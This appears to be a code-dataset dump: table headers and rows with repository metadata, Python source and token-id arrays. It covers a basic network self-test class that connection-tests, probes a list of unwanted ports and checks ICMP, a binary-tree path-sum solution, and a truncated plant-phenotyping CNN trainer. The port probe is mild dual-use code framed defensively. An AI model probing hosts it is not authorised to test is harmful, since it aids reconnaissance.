max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
sec_utils/SecNET.py | squigglepuff/firebytes | 0 | 109547 | #!/usr/bin/env python
# *-* coding: utf-8 *-*
import sys
import re
import socket
if sys.version_info[0] < 3:
import pyping
from logger import PrintLog
else:
from sec_utils.logger import PrintLog
'''
\brief This is a basic network testing class.
This class's sole purpose is to test for REALLY basic network vulnerabilities. It'll run through these battery of tests:
o Connection testing (is the connection stable?)
o Port testing (any ports open we don't want?)
o ICMP testing (can I DoS you?)
If ANY of those fail, the class reports a SEC_FAILURE status.
'''
class SecNET:
SEC_SUCCESS = 0x0
SEC_FAILURE = 0xccffccff
SEC_UNTESTED = 0xffaaffaa
m_result = SEC_UNTESTED
m_testResults = {'connection': SEC_UNTESTED, 'port': SEC_UNTESTED, 'icmp': SEC_UNTESTED}
def __init__(self):
global PrintLog # Global functor for PrintLog.
# Setup the defaults.
self.m_result = self.SEC_UNTESTED
self.m_testResults = {'connection': self.SEC_UNTESTED, 'port': self.SEC_UNTESTED, 'icmp': self.SEC_UNTESTED}
PrintLog("Network Pen-Tester ready.", "Info")
'''
\brief Test connectivity.
This function will attempt to test connectivity to the host.
\param[in] host - Hostname/IP to connect to.
\param[in] port - Port to connect to.
\return True upon success, False upon failure.
'''
def ConnectionTest(self, host, port):
global PrintLog # Global functor for PrintLog.
PrintLog("Attempting to establish connection to {0}:{1}".format(host, port), "Debug")
bSuccess = False
try:
lSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lSock.connect((host, port))
lSock.close()
# Success!
self.m_result = self.SEC_SUCCESS
self.m_testResults['connection'] = self.SEC_SUCCESS
bSuccess = True
PrintLog("Successfully connected to {0}:{1}: PASS".format(host, port), "Success")
except (IOError, OSError, socket.error, TypeError, ValueError) as err:
self.m_result = self.SEC_FAILURE
self.m_testResults['connection'] = self.SEC_FAILURE
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
return bSuccess
'''
\brief Test unsecured/unwanted ports.
This function will probe for unsecured/unwanted ports on the given host. It will fail if ANY are fount.
\param[in] host - Hostname/IP to connect to.
\param[in] port_list - Acceptable ports (wanted).
\return True upon success, False upon failure.
'''
def PortTest(self, host, port_list=[443, 587, 993, 995, 8080], full_range=False):
global PrintLog # Global functor for PrintLog.
PrintLog("Scanning for unwanted ports...", "Debug")
bSuccess = False
try:
if full_range == True:
PrintLog("Scanning ALL 65,535 ports!", "Debug")
else:
PrintLog("Scanning ports {0}".format(port_list), "Debug")
unwantedPorts = [25, 26, 80, 110, 143, 3306, 5432]
for port in unwantedPorts:
if port in port_list:
PrintLog("Skipping potentially unsafe port: {0}".format(port), "Warning")
continue
else:
# Scan this port.
try:
lSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lSock.settimeout(1.0)
lSock.connect((host, port))
lSock.close()
PrintLog("Port {0} is open on {1}".format(port, host), "Failure")
self.m_result = self.SEC_FAILURE
self.m_testResults['port'] = self.SEC_FAILURE
break
except (IOError, OSError, socket.error, socket.timeout, TypeError, ValueError) as err:
if type(err) == socket.error or type(err) == socket.timeout:
PrintLog("Port {0} is NOT open on {1}".format(port, host), "Success")
else:
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
sys.exit(255)
if self.m_result != self.SEC_FAILURE and self.m_testResults['port'] != self.SEC_FAILURE:
PrintLog("Port scan complete: PASS!", "Success")
self.m_result = self.SEC_SUCCESS
self.m_testResults['port'] = self.SEC_SUCCESS
bSuccess = True
except (IOError, OSError, socket.error, TypeError, ValueError) as err:
self.m_result = self.SEC_FAILURE
self.m_testResults['port'] = self.SEC_FAILURE
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
return bSuccess
'''
\brief Test for ICMP echos.
This function will check to see if the host is responding to ICMP. If it is, it's an automatic FAIL.
\param[in] host - Hostname/IP to connect to.
\return True upon success, False upon failure.
'''
def IcmpTest(self, host):
global PrintLog # Global functor for PrintLog.
if sys.version_info[0] < 3:
PrintLog("Checking for ICMP echo...", "Debug")
bSuccess = False
try:
icmpResp = pyping.ping(host)
if None != icmpResp.max_rtt:
PrintLog("ICMP responding!", "Failure")
self.m_result = self.SEC_FAILURE
self.m_testResults['icmp'] = self.SEC_FAILURE
else:
PrintLog("ICMP dropped: PASS!", "Success")
self.m_result = self.SEC_SUCCESS
self.m_testResults['icmp'] = self.SEC_SUCCESS
bSuccess = True
except (IOError, OSError, socket.error, TypeError, ValueError) as err:
if type(err) == socket.error or type(err) == socket.timeout:
PrintLog("ICMP not available!", "Failure")
self.m_result = self.SEC_FAILURE
self.m_testResults['icmp'] = self.SEC_FAILURE
else:
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
sys.exit(255)
else:
PrintLog("Version of Python (python>=3) doesn't suppot PyPing! Assuming OK (please check manually)", "Success")
self.m_result = self.SEC_SUCCESS
self.m_testResults['icmp'] = self.SEC_SUCCESS
bSuccess = True
return bSuccess | [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
334,
29899,
29930,
14137,
29901,
23616,
29899,
29947,
334,
29899,
29930,
13,
13,
5215,
10876,
13,
5215,
337,
13,
5215,
9909,
13,
13,
361,
10876,
29889,
3259,
29918,
3888,
29961,
29900,
29962,
529,
29871,
29941,
29901,
13,
1678,
1053,
282,
1478,
292,
13,
1678,
515,
17927,
1053,
13905,
3403,
13,
2870,
29901,
13,
1678,
515,
5226,
29918,
13239,
29889,
21707,
1053,
13905,
3403,
13,
13,
12008,
13,
29905,
1182,
2575,
910,
338,
263,
6996,
3564,
6724,
770,
29889,
13,
13,
4013,
770,
29915,
29879,
14419,
6437,
338,
304,
1243,
363,
5195,
9818,
29979,
6996,
3564,
23180,
11614,
29889,
739,
29915,
645,
1065,
1549,
1438,
16988,
310,
6987,
29901,
13,
1678,
288,
29871,
15160,
6724,
313,
275,
278,
3957,
13714,
7897,
13,
1678,
288,
29871,
3371,
6724,
313,
1384,
16169,
1722,
591,
1016,
29915,
29873,
864,
7897,
13,
1678,
288,
29871,
18340,
3580,
6724,
313,
3068,
306,
1938,
29903,
366,
7897,
13,
13,
3644,
13764,
29979,
310,
1906,
4418,
29892,
278,
770,
13676,
263,
3725,
29907,
29918,
4519,
6227,
11499,
4660,
29889,
13,
12008,
13,
1990,
5356,
6006,
29901,
13,
1678,
3725,
29907,
29918,
14605,
26925,
353,
29871,
29900,
29916,
29900,
13,
1678,
3725,
29907,
29918,
4519,
6227,
11499,
353,
29871,
29900,
29916,
617,
600,
617,
600,
13,
1678,
3725,
29907,
29918,
3904,
18267,
3352,
353,
29871,
29900,
29916,
600,
29874,
3470,
7340,
13,
13,
1678,
286,
29918,
2914,
353,
3725,
29907,
29918,
3904,
18267,
3352,
13,
13,
1678,
286,
29918,
1688,
12191,
353,
11117,
9965,
2396,
3725,
29907,
29918,
3904,
18267,
3352,
29892,
525,
637,
2396,
3725,
29907,
29918,
3904,
18267,
3352,
29892,
525,
293,
1526,
2396,
3725,
29907,
29918,
3904,
18267,
3352,
29913,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
5534,
13905,
3403,
396,
12002,
2090,
2801,
363,
13905,
3403,
29889,
13,
13,
4706,
396,
3789,
786,
278,
21274,
29889,
13,
4706,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
3904,
18267,
3352,
13,
4706,
1583,
29889,
29885,
29918,
1688,
12191,
353,
11117,
9965,
2396,
1583,
29889,
1660,
29907,
29918,
3904,
18267,
3352,
29892,
525,
637,
2396,
1583,
29889,
1660,
29907,
29918,
3904,
18267,
3352,
29892,
525,
293,
1526,
2396,
1583,
29889,
1660,
29907,
29918,
3904,
18267,
3352,
29913,
13,
13,
4706,
13905,
3403,
703,
13724,
7363,
29899,
3057,
261,
7960,
19602,
376,
3401,
1159,
13,
13,
1678,
14550,
13,
1678,
320,
1182,
2575,
4321,
4511,
2068,
29889,
13,
13,
1678,
910,
740,
674,
4218,
304,
1243,
4511,
2068,
304,
278,
3495,
29889,
13,
13,
1678,
320,
3207,
29961,
262,
29962,
3495,
448,
16956,
978,
29914,
5690,
304,
4511,
304,
29889,
13,
1678,
320,
3207,
29961,
262,
29962,
2011,
448,
3371,
304,
4511,
304,
29889,
13,
13,
1678,
320,
2457,
5852,
2501,
2551,
29892,
7700,
2501,
10672,
29889,
13,
1678,
14550,
13,
1678,
822,
15160,
3057,
29898,
1311,
29892,
3495,
29892,
2011,
1125,
13,
4706,
5534,
13905,
3403,
396,
12002,
2090,
2801,
363,
13905,
3403,
29889,
13,
13,
4706,
13905,
3403,
703,
4165,
3456,
292,
304,
10127,
3957,
304,
426,
29900,
6177,
29912,
29896,
29913,
1642,
4830,
29898,
3069,
29892,
2011,
511,
376,
11862,
1159,
13,
4706,
289,
14191,
353,
7700,
13,
13,
4706,
1018,
29901,
13,
9651,
301,
29903,
1698,
353,
9909,
29889,
11514,
29898,
11514,
29889,
5098,
29918,
1177,
2544,
29892,
9909,
29889,
6156,
7077,
29918,
1254,
1525,
5194,
29897,
13,
9651,
301,
29903,
1698,
29889,
6915,
3552,
3069,
29892,
2011,
876,
13,
9651,
301,
29903,
1698,
29889,
5358,
580,
13,
13,
9651,
396,
21397,
29991,
13,
9651,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
9651,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
9965,
2033,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
9651,
289,
14191,
353,
5852,
13,
13,
9651,
13905,
3403,
703,
14191,
3730,
6631,
304,
426,
29900,
6177,
29912,
29896,
6177,
17687,
1799,
1642,
4830,
29898,
3069,
29892,
2011,
511,
376,
14191,
1159,
13,
4706,
5174,
313,
5971,
2392,
29892,
438,
29173,
29892,
9909,
29889,
2704,
29892,
20948,
29892,
7865,
2392,
29897,
408,
4589,
29901,
13,
9651,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
9651,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
9965,
2033,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
632,
13,
9651,
13905,
3403,
703,
29912,
29900,
29913,
320,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29946,
29885,
29912,
29896,
1012,
29900,
29941,
29941,
29961,
29900,
29885,
1642,
4830,
29898,
3127,
29892,
1134,
29898,
3127,
8243,
376,
29943,
2075,
1159,
13,
13,
4706,
736,
289,
14191,
13,
13,
1678,
14550,
13,
1678,
320,
1182,
2575,
4321,
443,
3471,
2955,
29914,
348,
29893,
9714,
16169,
29889,
13,
13,
1678,
910,
740,
674,
410,
915,
363,
443,
3471,
2955,
29914,
348,
29893,
9714,
16169,
373,
278,
2183,
3495,
29889,
739,
674,
4418,
565,
13764,
29979,
526,
285,
792,
29889,
13,
13,
1678,
320,
3207,
29961,
262,
29962,
3495,
448,
16956,
978,
29914,
5690,
304,
4511,
304,
29889,
13,
1678,
320,
3207,
29961,
262,
29962,
2011,
29918,
1761,
448,
29848,
519,
16169,
313,
29893,
9714,
467,
13,
13,
1678,
320,
2457,
5852,
2501,
2551,
29892,
7700,
2501,
10672,
29889,
13,
1678,
14550,
13,
1678,
822,
3371,
3057,
29898,
1311,
29892,
3495,
29892,
2011,
29918,
1761,
11759,
29946,
29946,
29941,
29892,
29871,
29945,
29947,
29955,
29892,
29871,
29929,
29929,
29941,
29892,
29871,
29929,
29929,
29945,
29892,
29871,
29947,
29900,
29947,
29900,
1402,
2989,
29918,
3881,
29922,
8824,
1125,
13,
4706,
5534,
13905,
3403,
396,
12002,
2090,
2801,
363,
13905,
3403,
29889,
13,
13,
4706,
13905,
3403,
703,
4421,
9450,
363,
18500,
9714,
16169,
856,
613,
376,
11862,
1159,
13,
4706,
289,
14191,
353,
7700,
13,
13,
4706,
1018,
29901,
13,
9651,
565,
2989,
29918,
3881,
1275,
5852,
29901,
13,
18884,
13905,
3403,
703,
4421,
9450,
15149,
29871,
29953,
29945,
29892,
29945,
29941,
29945,
16169,
29991,
613,
376,
11862,
1159,
13,
9651,
1683,
29901,
13,
18884,
13905,
3403,
703,
4421,
9450,
16169,
426,
29900,
29913,
1642,
4830,
29898,
637,
29918,
1761,
511,
376,
11862,
1159,
13,
18884,
18500,
9714,
2290,
29879,
353,
518,
29906,
29945,
29892,
29871,
29906,
29953,
29892,
29871,
29947,
29900,
29892,
29871,
29896,
29896,
29900,
29892,
29871,
29896,
29946,
29941,
29892,
29871,
29941,
29941,
29900,
29953,
29892,
29871,
29945,
29946,
29941,
29906,
29962,
13,
13,
18884,
363,
2011,
297,
18500,
9714,
2290,
29879,
29901,
13,
462,
1678,
565,
2011,
297,
2011,
29918,
1761,
29901,
13,
462,
4706,
13905,
3403,
703,
29903,
1984,
3262,
19998,
25110,
2011,
29901,
426,
29900,
29913,
1642,
4830,
29898,
637,
511,
376,
22709,
1159,
13,
462,
4706,
6773,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
396,
2522,
273,
445,
2011,
29889,
13,
462,
4706,
1018,
29901,
13,
462,
9651,
301,
29903,
1698,
353,
9909,
29889,
11514,
29898,
11514,
29889,
5098,
29918,
1177,
2544,
29892,
9909,
29889,
6156,
7077,
29918,
1254,
1525,
5194,
29897,
13,
462,
9651,
301,
29903,
1698,
29889,
842,
15619,
29898,
29896,
29889,
29900,
29897,
13,
462,
9651,
301,
29903,
1698,
29889,
6915,
3552,
3069,
29892,
2011,
876,
13,
462,
9651,
301,
29903,
1698,
29889,
5358,
580,
13,
13,
462,
9651,
13905,
3403,
703,
2290,
426,
29900,
29913,
338,
1722,
373,
426,
29896,
29913,
1642,
4830,
29898,
637,
29892,
3495,
511,
376,
24155,
1159,
13,
462,
9651,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
462,
9651,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
637,
2033,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
13,
462,
9651,
2867,
13,
462,
4706,
5174,
313,
5971,
2392,
29892,
438,
29173,
29892,
9909,
29889,
2704,
29892,
9909,
29889,
15619,
29892,
20948,
29892,
7865,
2392,
29897,
408,
4589,
29901,
13,
462,
9651,
565,
1134,
29898,
3127,
29897,
1275,
9909,
29889,
2704,
470,
1134,
29898,
3127,
29897,
1275,
9909,
29889,
15619,
29901,
13,
462,
18884,
13905,
3403,
703,
2290,
426,
29900,
29913,
338,
6058,
1722,
373,
426,
29896,
29913,
1642,
4830,
29898,
637,
29892,
3495,
511,
376,
14191,
1159,
13,
462,
9651,
1683,
29901,
13,
462,
18884,
13905,
3403,
703,
29912,
29900,
29913,
320,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29946,
29885,
29912,
29896,
1012,
29900,
29941,
29941,
29961,
29900,
29885,
1642,
4830,
29898,
3127,
29892,
1134,
29898,
3127,
8243,
376,
29943,
2075,
1159,
13,
462,
18884,
10876,
29889,
13322,
29898,
29906,
29945,
29945,
29897,
13,
13,
18884,
565,
1583,
29889,
29885,
29918,
2914,
2804,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
322,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
637,
2033,
2804,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
29901,
13,
462,
1678,
13905,
3403,
703,
2290,
12812,
4866,
29901,
17687,
1799,
29991,
613,
376,
14191,
1159,
13,
462,
1678,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
462,
1678,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
637,
2033,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
462,
1678,
289,
14191,
353,
5852,
13,
13,
4706,
5174,
313,
5971,
2392,
29892,
438,
29173,
29892,
9909,
29889,
2704,
29892,
20948,
29892,
7865,
2392,
29897,
408,
4589,
29901,
13,
9651,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
9651,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
637,
2033,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
632,
13,
9651,
13905,
3403,
703,
29912,
29900,
29913,
320,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29946,
29885,
29912,
29896,
1012,
29900,
29941,
29941,
29961,
29900,
29885,
1642,
4830,
29898,
3127,
29892,
1134,
29898,
3127,
8243,
376,
29943,
2075,
1159,
13,
13,
4706,
736,
289,
14191,
13,
13,
1678,
14550,
13,
1678,
320,
1182,
2575,
4321,
363,
18340,
3580,
321,
18688,
29889,
13,
13,
1678,
910,
740,
674,
1423,
304,
1074,
565,
278,
3495,
338,
10049,
292,
304,
18340,
3580,
29889,
960,
372,
338,
29892,
372,
29915,
29879,
385,
18428,
13515,
6227,
29889,
13,
13,
1678,
320,
3207,
29961,
262,
29962,
3495,
448,
16956,
978,
29914,
5690,
304,
4511,
304,
29889,
13,
13,
1678,
320,
2457,
5852,
2501,
2551,
29892,
7700,
2501,
10672,
29889,
13,
1678,
14550,
13,
1678,
822,
306,
21058,
3057,
29898,
1311,
29892,
3495,
1125,
13,
4706,
5534,
13905,
3403,
396,
12002,
2090,
2801,
363,
13905,
3403,
29889,
13,
13,
4706,
565,
10876,
29889,
3259,
29918,
3888,
29961,
29900,
29962,
529,
29871,
29941,
29901,
13,
9651,
13905,
3403,
703,
5596,
292,
363,
18340,
3580,
2916,
856,
613,
376,
11862,
1159,
13,
9651,
289,
14191,
353,
7700,
13,
13,
9651,
1018,
29901,
13,
18884,
16077,
1526,
1666,
29886,
353,
282,
1478,
292,
29889,
15702,
29898,
3069,
29897,
13,
13,
18884,
565,
6213,
2804,
16077,
1526,
1666,
29886,
29889,
3317,
29918,
29878,
698,
29901,
13,
462,
1678,
13905,
3403,
703,
2965,
3580,
10049,
292,
29991,
613,
376,
24155,
1159,
13,
462,
1678,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
462,
1678,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
293,
1526,
2033,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
18884,
1683,
29901,
13,
462,
1678,
13905,
3403,
703,
2965,
3580,
13700,
29901,
17687,
1799,
29991,
613,
376,
14191,
1159,
13,
462,
1678,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
462,
1678,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
293,
1526,
2033,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
462,
1678,
289,
14191,
353,
5852,
13,
9651,
5174,
313,
5971,
2392,
29892,
438,
29173,
29892,
9909,
29889,
2704,
29892,
20948,
29892,
7865,
2392,
29897,
408,
4589,
29901,
13,
18884,
565,
1134,
29898,
3127,
29897,
1275,
9909,
29889,
2704,
470,
1134,
29898,
3127,
29897,
1275,
9909,
29889,
15619,
29901,
13,
462,
1678,
13905,
3403,
703,
2965,
3580,
451,
3625,
29991,
613,
376,
24155,
1159,
13,
462,
1678,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
462,
1678,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
293,
1526,
2033,
353,
1583,
29889,
1660,
29907,
29918,
4519,
6227,
11499,
13,
18884,
1683,
29901,
13,
462,
1678,
13905,
3403,
703,
29912,
29900,
29913,
320,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29946,
29885,
29912,
29896,
1012,
29900,
29941,
29941,
29961,
29900,
29885,
1642,
4830,
29898,
3127,
29892,
1134,
29898,
3127,
8243,
376,
29943,
2075,
1159,
13,
462,
1678,
10876,
29889,
13322,
29898,
29906,
29945,
29945,
29897,
13,
4706,
1683,
29901,
13,
9651,
13905,
3403,
703,
6594,
310,
5132,
313,
4691,
18572,
29941,
29897,
1838,
29915,
29873,
1462,
327,
10772,
29925,
292,
29991,
17090,
9280,
313,
552,
559,
1423,
7522,
19123,
376,
14191,
1159,
13,
9651,
1583,
29889,
29885,
29918,
2914,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
9651,
1583,
29889,
29885,
29918,
1688,
12191,
1839,
293,
1526,
2033,
353,
1583,
29889,
1660,
29907,
29918,
14605,
26925,
13,
9651,
289,
14191,
353,
5852,
13,
13,
4706,
736,
289,
14191,
2
] |
Binary Tree Maximum Path Sum.py | frank0215/Leetcode_python | 0 | 116868 |
class TreeNode:
def __init__(self, val):
self.val = val
self.left =None
self.right = None
# 只能從root開始的最大路徑和 (可以不選 都不選為0)
def maxPathSumRoot(root):
if not root: return 0
# 有選root 往左或往右
left = maxPathSumRoot(root.left) + root.val
right = maxPathSumRoot(root.right) + root.val
# 沒選root
result = 0
return max(left, right, result)
import sys
class Solution:
# 回傳任意起點走到任意終點的最大路徑和(不可以不選 只少選一個節點)
def maxPathSum(self, root):
if not root: return -(sys.maxsize)
# 經過中間(root) 最大路徑和
middle = maxPathSumRoot(root.left) + root.val + maxPathSumRoot(root.right)
# 不經過中間的最大路徑和
left = self.maxPathSum(root.left)
right = self.maxPathSum(root.right)
return max(left, right, middle)
if __name__=='__main__':
root = TreeNode(-10)
root.left = TreeNode(9)
root.right = TreeNode(20)
root.right.left = TreeNode(15)
root.right.right = TreeNode(7)
print(Solution().maxPathSum(root))
| [
1,
29871,
13,
1990,
15472,
4247,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
659,
1125,
13,
4706,
1583,
29889,
791,
353,
659,
13,
4706,
1583,
29889,
1563,
353,
8516,
13,
4706,
1583,
29889,
1266,
353,
6213,
13,
13,
29937,
29871,
31557,
30815,
232,
193,
161,
4632,
31404,
31020,
30210,
30878,
30257,
30874,
232,
193,
148,
30503,
313,
30682,
30651,
30413,
31562,
29871,
30769,
30413,
31562,
234,
133,
189,
29900,
29897,
13,
1753,
4236,
2605,
11139,
10303,
29898,
4632,
1125,
13,
1678,
565,
451,
3876,
29901,
736,
29871,
29900,
13,
1678,
396,
29871,
30417,
31562,
4632,
29871,
232,
193,
131,
31651,
31391,
232,
193,
131,
31803,
13,
1678,
2175,
353,
4236,
2605,
11139,
10303,
29898,
4632,
29889,
1563,
29897,
718,
3876,
29889,
791,
13,
1678,
1492,
353,
4236,
2605,
11139,
10303,
29898,
4632,
29889,
1266,
29897,
718,
3876,
29889,
791,
13,
1678,
396,
29871,
233,
181,
149,
31562,
4632,
13,
1678,
1121,
353,
29871,
29900,
13,
1678,
736,
4236,
29898,
1563,
29892,
1492,
29892,
1121,
29897,
13,
13,
5215,
10876,
13,
1990,
24380,
29901,
13,
1678,
396,
29871,
30742,
232,
133,
182,
31450,
31474,
31558,
236,
190,
161,
235,
184,
179,
30780,
31450,
31474,
234,
184,
133,
236,
190,
161,
30210,
30878,
30257,
30874,
232,
193,
148,
30503,
29898,
30413,
30682,
30651,
30413,
31562,
29871,
31557,
31022,
31562,
30287,
232,
131,
142,
234,
178,
131,
236,
190,
161,
29897,
13,
1678,
822,
4236,
2605,
11139,
29898,
1311,
29892,
3876,
1125,
13,
4706,
565,
451,
3876,
29901,
736,
19691,
9675,
29889,
3317,
2311,
29897,
13,
4706,
396,
29871,
31773,
236,
132,
145,
30275,
31069,
29898,
4632,
29897,
29871,
30878,
30257,
30874,
232,
193,
148,
30503,
13,
4706,
7256,
353,
4236,
2605,
11139,
10303,
29898,
4632,
29889,
1563,
29897,
718,
3876,
29889,
791,
718,
4236,
2605,
11139,
10303,
29898,
4632,
29889,
1266,
29897,
13,
4706,
396,
29871,
30413,
31773,
236,
132,
145,
30275,
31069,
30210,
30878,
30257,
30874,
232,
193,
148,
30503,
13,
4706,
2175,
353,
1583,
29889,
3317,
2605,
11139,
29898,
4632,
29889,
1563,
29897,
13,
4706,
1492,
353,
1583,
29889,
3317,
2605,
11139,
29898,
4632,
29889,
1266,
29897,
13,
13,
4706,
736,
4236,
29898,
1563,
29892,
1492,
29892,
7256,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1360,
29915,
1649,
3396,
1649,
2396,
13,
1678,
3876,
353,
15472,
4247,
6278,
29896,
29900,
29897,
13,
1678,
3876,
29889,
1563,
353,
15472,
4247,
29898,
29929,
29897,
13,
1678,
3876,
29889,
1266,
353,
15472,
4247,
29898,
29906,
29900,
29897,
13,
1678,
3876,
29889,
1266,
29889,
1563,
353,
15472,
4247,
29898,
29896,
29945,
29897,
13,
1678,
3876,
29889,
1266,
29889,
1266,
353,
15472,
4247,
29898,
29955,
29897,
13,
1678,
1596,
29898,
13296,
918,
2141,
3317,
2605,
11139,
29898,
4632,
876,
13,
268,
2
] |
CNN/dpp_regression.py | phillnguyen/schnablelab | 0 | 143861 | """
train neural network to detect whether plant flowers or not
"""
import warnings
warnings.filterwarnings('ignore',category=FutureWarning)
from glob import glob
import numpy as np
import pickle
import deepplantphenomics as dpp
from pathlib import Path
import os
import sys
def train(train_dir, label_fn, model_dir, epoch, lr):
"""
train_dir: the directory where your training images located
label_fn: the file name of labels under train_dir. Just specify the file name don't inclde the path.
model_dir: the name of you model. Model results will be save to this dir
epoch: specify the epoch. Based on dpp document suggest 100 for plant stress and 500 for counting.
lr: specify learnning rate. 0.0001 used in dpp leaf counting example
"""
model_dir_path = Path(model_dir)
if not model_dir_path.exists():
model_dir_path.mkdir()
tensorboard_dir_path = model_dir_path/'tensorboard'
img_dir = Path(train_dir)
model = dpp.RegressionModel(debug=True, save_checkpoints=True, report_rate=150, tensorboard_dir=str(tensorboard_dir_path), save_dir=str(model_dir_path))
#model.set_batch_size(72)
model.set_batch_size(45)
#model.set_number_of_threads(10)
model.set_number_of_threads(100)
model.set_image_dimensions(418, 283, 3)
model.set_resize_images(True)
model.set_num_regression_outputs(1)
model.set_test_split(0.0)
model.set_validation_split(0.0)
model.set_learning_rate(float(lr))
model.set_weight_initializer('xavier')
model.set_maximum_training_epochs(int(epoch))
# Augmentation options
model.set_augmentation_brightness_and_contrast(True)
model.set_augmentation_flip_horizontal(True)
model.set_augmentation_flip_vertical(True)
#model.set_augmentation_crop(True)
# Load labels and images
model.load_multiple_labels_from_csv(img_dir/label_fn, id_column=0)
model.load_images_with_ids_from_directory(img_dir)
# Define a model architecture
model.add_input_layer()
model.add_convolutional_layer(filter_dimension=[5, 5, 3, 32], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_convolutional_layer(filter_dimension=[5, 5, 32, 64], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_convolutional_layer(filter_dimension=[3, 3, 64, 64], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_convolutional_layer(filter_dimension=[3, 3, 64, 64], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_output_layer()
# Begin training the model
model.begin_training()
if len(sys.argv)==6:
train(*sys.argv[1:])
else:
print('train_dir', 'label_fn', 'model_dir', 'epoch', 'lr')
| [
1,
9995,
13,
14968,
19677,
3564,
304,
6459,
3692,
8024,
18281,
470,
451,
13,
15945,
29908,
13,
5215,
18116,
13,
25442,
886,
29889,
4572,
25442,
886,
877,
17281,
742,
7320,
29922,
20154,
22709,
29897,
13,
3166,
13149,
1053,
13149,
13,
5215,
12655,
408,
7442,
13,
5215,
5839,
280,
13,
5215,
316,
29872,
407,
27493,
9789,
290,
1199,
408,
270,
407,
13,
3166,
2224,
1982,
1053,
10802,
13,
5215,
2897,
13,
5215,
10876,
13,
13,
1753,
7945,
29898,
14968,
29918,
3972,
29892,
3858,
29918,
9144,
29892,
1904,
29918,
3972,
29892,
21502,
305,
29892,
301,
29878,
1125,
13,
1678,
9995,
13,
1678,
7945,
29918,
3972,
29901,
278,
3884,
988,
596,
6694,
4558,
5982,
13,
1678,
3858,
29918,
9144,
29901,
278,
934,
1024,
310,
11073,
1090,
7945,
29918,
3972,
29889,
3387,
6084,
278,
934,
1024,
1016,
29915,
29873,
1343,
311,
278,
2224,
29889,
29871,
13,
1678,
1904,
29918,
3972,
29901,
278,
1024,
310,
366,
1904,
29889,
8125,
2582,
674,
367,
4078,
304,
445,
4516,
13,
1678,
21502,
305,
29901,
6084,
278,
21502,
305,
29889,
16564,
373,
270,
407,
1842,
4368,
29871,
29896,
29900,
29900,
363,
8024,
22884,
322,
29871,
29945,
29900,
29900,
363,
21248,
29889,
13,
1678,
301,
29878,
29901,
6084,
5110,
1076,
6554,
29889,
29871,
29900,
29889,
29900,
29900,
29900,
29896,
1304,
297,
270,
407,
20447,
21248,
1342,
13,
1678,
9995,
13,
1678,
1904,
29918,
3972,
29918,
2084,
353,
10802,
29898,
4299,
29918,
3972,
29897,
13,
1678,
565,
451,
1904,
29918,
3972,
29918,
2084,
29889,
9933,
7295,
13,
4706,
1904,
29918,
3972,
29918,
2084,
29889,
11256,
3972,
580,
13,
1678,
12489,
3377,
29918,
3972,
29918,
2084,
353,
1904,
29918,
3972,
29918,
2084,
22208,
20158,
3377,
29915,
13,
1678,
10153,
29918,
3972,
353,
10802,
29898,
14968,
29918,
3972,
29897,
13,
13,
1678,
1904,
353,
270,
407,
29889,
4597,
23881,
3195,
29898,
